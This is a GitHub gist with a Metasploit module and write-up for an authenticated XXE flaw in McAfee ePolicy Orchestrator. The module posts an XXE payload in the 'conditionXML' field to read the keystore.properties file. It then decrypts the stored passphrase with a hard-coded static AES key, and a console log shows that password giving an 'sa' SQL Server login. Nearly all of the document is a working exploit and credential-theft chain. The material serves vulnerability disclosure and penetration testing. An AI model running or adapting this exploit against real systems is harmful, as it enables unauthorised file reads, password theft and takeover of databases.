Skip to content

Instantly share code, notes, and snippets.

@brandonprry
Last active August 29, 2015 14:12
Show Gist options
  • Save brandonprry/692e553975bf29aeaf2c to your computer and use it in GitHub Desktop.
Save brandonprry/692e553975bf29aeaf2c to your computer and use it in GitHub Desktop.
=begin
McAfee ePolicy Orchestrator Authenticated XXE and Credential Disclosure
Trial available here:
https://secure.mcafee.com/apps/downloads/free-evaluations/survey.aspx?mktg=ESD1172&cid=ESD1172&eval=A0C692FB-8E29-4D47-BBF1-43CAB5F10069&region=us
McAfee ePolicy Orchestrator suffers from an authenticated XXE vulnerability, available to any authenticated user. The Server Task Log option in the upper left menu is where the vulnerability lies. When creating a custom filter, a bit of XML is passed from the client to the server to create the said filter. This parameter is called 'conditionXML' and is vulnerable to an XXE attack. The attack seems a bit limited however, as you can only fit up to 255 characters in the 'value' field.
However, a file in the web server installation configuration directory called 'keystore.properties' is less than the size we need, and contains an encrypted passphrase that is set during installation. When installing, an initial admin user is created (with 'admin' as the default username'). The password supplied here will also become the password for the local 'sa' SQL user, if you choose to install a local SQL server, and it will be the password for the application's certificate key store (hence the name of the properties file).
This passphrase is encrypted using a static key, and uses a weak cipher (AES-128-ECB).
The supplied metasploit module will authenticate as a given user, exploit the XXE to retrieve the encrypted passphrase, then decrypt it and print the decrypted password out for the user.
By default, if a local SQL server has been installed, it the SQL server will listen on all interfaces. Since the application uses the 'sa' user by default, the password supplied during installation can be used to log in remotely as the 'sa' user, allowing for remote command execution.
Brandons-iMac:metasploit-brandonprry bperry$ sudo ./msfconsole
Password:
[*] Starting the Metasploit Framework console...\
Call trans opt: received. 2-19-98 13:24:18 REC:Loc
Trace program: running
wake up, Neo...
the matrix has you
follow the white rabbit.
knock, knock, Neo.
(`. ,-,
` `. ,;' /
`. ,'/ .'
`. X /.'
.-;--''--.._` ` (
.' / `
, ` ' Q '
, , `._ \
,.| ' `-.;_'
: . ` ; ` ` --,.._;
' ` , ) .'
`._ , ' /_
; ,''-,;' ``-
``-..__``--`
http://metasploit.pro
=[ metasploit v4.11.0-dev [core:4.11.0.pre.dev api:1.0.0]]
+ -- --=[ 1381 exploits - 775 auxiliary - 223 post ]
+ -- --=[ 349 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > use exploit/zdi/mcafee_epo_xxe
msf auxiliary(mcafee_epo_xxe) > set RHOST 192.168.1.14
RHOST => 192.168.1.14
msf auxiliary(mcafee_epo_xxe) > set PASSWORD notPassw0rd!
PASSWORD => notPassw0rd!
msf auxiliary(mcafee_epo_xxe) > show options
Module options (auxiliary/zdi/mcafee_epo_xxe):
Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH C:/Program Files (x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/keystore.properties yes The filepath to read on the server
PASSWORD notPassw0rd! yes The password to authenticate with
Proxies no Use a proxy chain
RHOST 192.168.1.14 yes The target address
RPORT 8443 yes The target port
SSL true yes Use SSL
TARGETURI / yes Base ePO directory path
USERNAME username yes The username to authenticate with
VHOST no HTTP server virtual host
msf auxiliary(mcafee_epo_xxe) > run
[*] Setting up some things...
[*] Sending payload...
[*] Getting encrypted passphrase value from keystore.properties file...
[*] Base64 encoded encrypted passphrase: T/r66DMjAYhgwFNGg7vdjiism5aqRjhUy8jvZYA5Ln8=
[+] The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: NotAPassw0rd!123
[*] Auxiliary module execution completed
msf auxiliary(mcafee_epo_xxe) > use auxiliary/scanner/ms
use auxiliary/scanner/msf/msf_rpc_login use auxiliary/scanner/mssql/mssql_hashdump use auxiliary/scanner/mssql/mssql_ping
use auxiliary/scanner/msf/msf_web_login use auxiliary/scanner/mssql/mssql_login use auxiliary/scanner/mssql/mssql_schemadump
msf auxiliary(mcafee_epo_xxe) > use auxiliary/scanner/mssql/mssql_login
msf auxiliary(mssql_login) > set RHOSTS 192.168.1.14
RHOSTS => 192.168.1.14
msf auxiliary(mssql_login) > set PASSWORD NotAPassw0rd!123
PASSWORD => NotAPassw0rd!123
msf auxiliary(mssql_login) > run
[*] 192.168.1.14:1433 - MSSQL - Starting authentication scanner.
[+] 192.168.1.14:1433 - LOGIN SUCCESSFUL: WORKSTATION\sa:NotAPassw0rd!123
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mssql_login) >
=end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'openssl'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'McAfee ePolicy Orchestrator Authenticated XXE Credentials Exposure',
'Description' => %q{
This module will exploit an authenticated XXE vulnerability to read the keystore.properties
off of the filesystem. This properties file contains an encrypted password that is set during
installation. What is interesting about this password is that it is set as the same password
as the database 'sa' user and of the admin user created during installation. This password
is encrypted with a static key, and is encrypted using a weak cipher at that (ECB). By default,
if installed with a local SQL Server instance, the SQL server is listening on all interfaces.
Recovering this password allows an attacker to potentially authenticate as the 'sa' SQL Server
user in order to achieve remote command execution with permissions of the database process. If
the administrator has no changed the password for the initially created account since installation,
the attacker also now has the password for this account. By default, 'admin' is recommended.
Any user account can be used to exploit this, all that is needed is a pair of credentials.
The most data that can be successfully retrieved is 255 characters due to length restrictions
on the field used to perform the XXE attack.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>', #metasploit module
],
'References' =>
[
],
'DisclosureDate' => ''
))
register_options(
[
Opt::RPORT(8443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('TARGETURI', [ true, "Base ePO directory path", '/']),
OptString.new('FILEPATH', [true, "The filepath to read on the server", "C:/Program Files (x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/keystore.properties"]),
OptString.new('USERNAME', [true, "The username to authenticate with", "username"]),
OptString.new('PASSWORD', [true, "The password to authenticate with", "password"])
], self.class)
end
def run
key = "\x5E\x9C\x3E\xDF\xE6\x25\x84\x36\x66\x21\x93\x80\x31\x5A\x29\x33" #static key used
aes = OpenSSL::Cipher::Cipher.new('AES-128-ECB') # ecb, bad bad tsk
aes.decrypt
aes.padding=1
aes.key = key
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do')
})
cookie = res.get_cookies
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'j_security_check'),
'method' => 'POST',
'vars_post' => {
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD']
},
'cookie' => cookie
})
cookie = res.get_cookies
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do'),
'cookie' => cookie
})
if res.code != 302
fail_with(Failure::Unknown, 'Authentication failed')
end
cookie = res.get_cookies
#This vuln requires a bit of setup before we can exploit it
print_status("Setting up some things...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'orionNavigationLogin.do'),
'cookie' => cookie
})
auth_token = $1 if res.body =~ /id="orion.user.security.token" value="(.*)"\/>/
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'orionTab.do'),
'vars_get' => {
'sectionId' => 'orion.automation',
'tabId' => 'orion.tasklog',
'orion.user.security.token' => auth_token
},
'cookie' => cookie
})
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'loadTableData.do'),
'vars_get' => {
'datasourceAttr' => 'scheduler.tasklog.datasource.attr',
'filter' => 'scheduler.tasklog.filter.day',
'secondaryFilter' => '',
'tableCellRendererAttr' => 'taskLogCellRenderer',
'count' => 44,
'sortProperty' => 'OrionTaskLogTask.StartDate',
'sortOrder' => 1,
'id' => 'taskLogTable'
},
'cookie' => cookie
})
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'),
'vars_get' => {
'datasourceAttr' => 'scheduler.tasklog.datasource.attr',
'tableId' => 'taskLogTable',
'orion.user.security.token' => auth_token
},
'cookie' => cookie
})
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'orionTableUpdateState.do'),
'method' => 'POST',
'vars_post' => {
'dataSourceAttr' => 'scheduler.tasklog.datasource.attr',
'tableId' => 'taskLogTable',
'columnWidths' => '285,285,285,285,285,285,285,285',
'sortColumn' => 'OrionTaskLogTask.StartDate',
'sortOrder' => '1',
'showFilters' => 'true',
'currentIndex' => 0,
'orion.user.security.token' => auth_token,
'ajaxMode' => 'standard'
},
'cookie' => cookie
})
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'loadDisplayType.do'),
'method' => 'POST',
'vars_post' => {
'displayType' => 'text_lookup',
'operator' => 'eq',
'propKey' => 'OrionTaskLogTask.Name',
'instanceId' => 0,
'orion.user.security.token' => auth_token,
'ajaxMode' => 'standard'
},
'cookie' => cookie
})
print_status("Sending payload...")
xxe = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///'+datastore['FILEPATH']+'" >]><conditions><condition grouping="or"><prop-key>OrionTaskLogTaskMessage.Message</prop-key><op-key>eq</op-key><value>&xxe;</value></condition></conditions>'
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'orionUpdateTableFilter.do'),
'method' => 'POST',
'vars_post' => {
'orion.user.security.token' => auth_token,
'datasourceAttr' => 'scheduler.tasklog.datasource.attr',
'tableId' => 'taskLogTable',
'conditionXML' => xxe,
'secondaryFilter' => '',
'op' => 'eq',
'ajaxMode' => 'standard'
},
'cookie' => cookie
})
print_status("Getting encrypted passphrase value from keystore.properties file...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'),
'vars_get' => {
'datasourceAttr' => 'scheduler.tasklog.datasource.attr',
'tableId' => 'taskLogTable',
'orion.user.security.token' => auth_token
},
'cookie' => cookie
})
passphrase = $1 if res.body =~ /passphrase=(.*?)\\u003/
passphrase = passphrase.gsub('\\\\=', '=').gsub("\\u002f", "/").gsub("\\u002b", "+")
print_status("Base64 encoded encrypted passphrase: " + passphrase)
passphrase = aes.update(Rex::Text.decode_base64(passphrase)) + aes.final
print_good("The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: " + passphrase)
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment